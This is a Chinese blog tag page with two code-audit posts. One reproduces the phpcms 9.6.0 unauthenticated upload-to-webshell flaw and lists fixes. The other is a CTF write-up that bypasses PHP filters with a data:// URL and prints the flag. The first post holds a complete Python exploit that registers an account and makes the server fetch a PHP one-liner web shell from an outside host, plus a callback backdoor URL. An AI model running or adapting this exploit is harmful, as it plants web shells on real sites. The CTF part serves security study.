Tag:代码审计

Tag (代码审计)'s result:

phpcms9.6.0任意文件上传getshell漏洞重现及分析

0x01 概述 2017年4月,爆出phpcms9.6.0的任意文件上传getshell漏洞,攻击者无需登录认证即可在登录页面利用此漏洞,挺厉害。 0x02 bug重现及POC 登录页面: 利用POC: //poc来源:http://hacktech.cn/2017/04/10/phpcms9-6-0-getshell-with-python.html # -*- coding:utf-8 -*- ”’ ———————- Author : Akkuman Blog : hacktech.cn ———————- ”’ import requests import sys from random import Random chars = ‘qwertyuiopasdfghjklzxcvbnm0123456789’ def main(): if len(sys.argv) < 2: print(“[*]Usage : Python 1.py http://xxx.com”) sys.exit() host = sys.argv[1] url = host + “/index.php?m=member&c=index&a=register&siteid=1” data = { “siteid”: “1”, “modelid”: “1”, “username”: “dsakkfaffdssdudi”, “password”: “123456”, “email”: “dsakkfddsjdi@qq.com”, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 “info[content]”: “<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>”, “dosubmit”: “1”, “protocol”: “”, } try: rand_name = chars[Random().randint(0, len(chars) – 1)] data[“username”] = “akkuman_%s” % rand_name data[“email”] = “akkuman_%s@qq.com” % rand_name htmlContent = requests.post(url, data=data) successUrl = “” if “MySQL Error” in htmlContent.text and “http” in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(“http”):htmlContent.text.index(“.php”)] + “.php” print(“[*]Shell : %s” % successUrl) if successUrl == “”: print(“[x]Failed : had crawled all possible url, but i can’t find out it. So it’s failed.\n”) except: print(“Request Error”) if __name__ == ‘__main__’: main() 菜刀连接得到的shell地址,如图: 重现成功! (注意这里的文件名(shell地址)是可以爆破的,后文说明。) 0x03 修复方案 1.升级到最新版本 2.关闭注册功能 3.禁止uploadfile目录下动态脚本执行 0x04 bug分析 由poc的 index.php?m=member&c=index&a=register&siteid=1 找到这个index.php的register函数 关键代码: //附表信息验证 通过模型获取会员信息 if($member_setting[‘choosemodel’]) { require_once CACHE_MODEL_PATH.’member_input.class.php’; require_once CACHE_MODEL_PATH.’member_update.class.php’; $member_input = new member_input($userinfo[‘modelid’]); $_POST[‘info’]……

hackinglab.cn系列->脚本关.微笑一下就能过关了

这题比较有趣,涉及data伪协议,php代码审计。 前置知识: 1.$_SERVER[‘QUERY_STRING’]:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=hi,a=hi就是QUERY_STRING。 2.data伪协议:data:[<MIME-type>][;charset=<encoding>][;base64],<data> 3.file_exists对data指向的内容判断为不存在 4.当key包含.或[]之类的符号,这些符号会被php转为_。 ************* php源码: <?php header(“Content-type: text/html; charset=utf-8”); if (isset($_GET[‘view-source’])) { show_source(__FILE__); exit(); } include(‘flag.php’); $smile = 1; if (!isset ($_GET[‘^_^’])) $smile = 0; if (preg_match (‘/\./’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/%/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/[0-9]/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/http/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/https/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/ftp/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/telnet/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/_/’, $_SERVER[‘QUERY_STRING’])) $smile = 0; if ($smile) { if (@file_exists ($_GET[‘^_^’])) $smile = 0; } if ($smile) { $smile = @file_get_contents ($_GET[‘^_^’]); if ($smile === “(●’◡’●)”) die($flag); } ?> 审计源码可得: 1.过滤了一些字符和协议. 2.QUREY_STRING过滤了_但是$_GET[‘^_^’]又含有_. 3.$_GET[‘^_^’]要不存在,但是可以file_get_contents读出是unicode的笑脸。 所以直接构造URL: lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php/?^.^=data://text/plain;charset=unicode,(●’◡’●) 得key: hkjasfhsa*&IUHKUH